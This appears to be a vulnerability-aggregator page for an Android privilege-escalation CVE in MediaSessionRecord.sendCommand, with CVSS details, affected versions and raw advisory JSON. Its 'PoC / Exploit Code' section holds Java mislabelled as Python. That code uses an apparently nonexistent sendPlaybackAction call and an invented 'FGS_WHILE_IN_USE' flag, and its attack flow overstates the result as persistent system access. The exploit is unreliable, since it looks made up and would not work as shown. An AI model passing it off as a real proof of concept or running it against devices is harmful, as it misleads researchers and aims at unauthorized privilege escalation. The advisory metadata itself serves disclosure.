Security Vulnerability Report
中文
CVE-2025-48573 CVSS 7.8 HIGH

CVE-2025-48573

Published: 2025-12-08 17:16:15
Last Modified: 2025-12-10 13:24:07

Description

In sendCommand of MediaSessionRecord.java, there is a possible way to launch the foreground service while the app is in the background due to FGS while-in-use abuse. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:* - VULNERABLE
Android Framework < 2025-12-01安全补丁级别
Android MediaSessionRecord (sendCommand方法)
Android Foreground Service (while-in-use机制)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48573 PoC - FGS While-in-use Abuse in MediaSessionRecord // This PoC demonstrates the vulnerability in sendCommand of MediaSessionRecord.java // Note: This is for educational/research purposes only package com.example.fgsabuse; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.media.session.MediaSessionManager; import android.media.session.ISession; import android.os.IBinder; import android.util.Log; public class FGSAbuseExploit { private static final String TAG = "FGSAbuse"; private static final String TARGET_PACKAGE = "android"; private static final String TARGET_CLASS = "com.android.server.media.MediaSessionRecord"; public void exploitFGSAbuse(Context context) { try { // Get MediaSessionManager service MediaSessionManager msm = (MediaSessionManager) context.getSystemService(Context.MEDIA_SESSION_SERVICE); // Attempt to create session and abuse FGS while-in-use // The vulnerability allows launching foreground service from background MediaSessionManager.OnActiveSessionsChangedListener listener = new MediaSessionManager.OnActiveSessionsChangedListener() { @Override public void onActiveSessionsChanged( java.util.List<android.media.session.MediaController> controllers) { // Trigger sendCommand while app is in background for (android.media.session.MediaController controller : controllers) { // Abuse the while-in-use mechanism attemptFGSSpoofing(controller); } } }; // Register listener to get access to MediaSession ComponentName componentName = new ComponentName(context, com.example.fgsabuse.MyService.class); msm.addOnActiveSessionsChangedListener(listener, componentName); Log.i(TAG, "FGS abuse exploit triggered"); } catch (Exception e) { Log.e(TAG, "Exploit failed: " + e.getMessage()); } } private void attemptFGSSpoofing( android.media.session.MediaController controller) { // Send commands that abuse the while-in-use check // This exploits the lack of proper background state validation try { // The vulnerability is in sendCommand not properly checking // if the calling app is in the foreground android.os.Bundle extras = new android.os.Bundle(); extras.putBoolean("android.media.session.FGS_WHILE_IN_USE", true); // This should be blocked but isn't due to the vulnerability controller.sendPlaybackAction( android.media.session.PlaybackState.ACTION_PLAY, extras); } catch (Exception e) { Log.e(TAG, "FGS spoofing failed: " + e.getMessage()); } } } // Background Service that triggers the exploit class MyService extends android.app.Service { @Override public void onCreate() { super.onCreate(); // Start foreground service to maintain access Intent notificationIntent = new Intent(this, MainActivity.class); android.app.PendingIntent pendingIntent = android.app.PendingIntent.getActivity(this, 0, notificationIntent, 0); android.app.Notification notification = new android.app.Notification.Builder(this, "channel_id") .setContentTitle("Media Service") .setContentText("Running") .setSmallIcon(R.drawable.ic_notification) .setContentIntent(pendingIntent) .build(); startForeground(1, notification); } @Override public IBinder onBind(Intent intent) { return null; } } /* * Attack Flow: * 1. Attacker creates malicious app with MediaSession permissions * 2. App registers MediaSessionManager listener * 3. App enters background state * 4. App triggers sendCommand to MediaSessionRecord * 5. Vulnerable code path doesn't properly validate foreground state * 6. Foreground service is launched despite app being in background * 7. Attacker gains persistent system access */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48573", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:15.120", "lastModified": "2025-12-10T13:24:07.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In sendCommand of MediaSessionRecord.java, there is a possible way to launch the foreground service while the app is in the background due to FGS while-in-use abuse. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/039030a6b0e7d255af70609a3607e805ad2a99ff", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}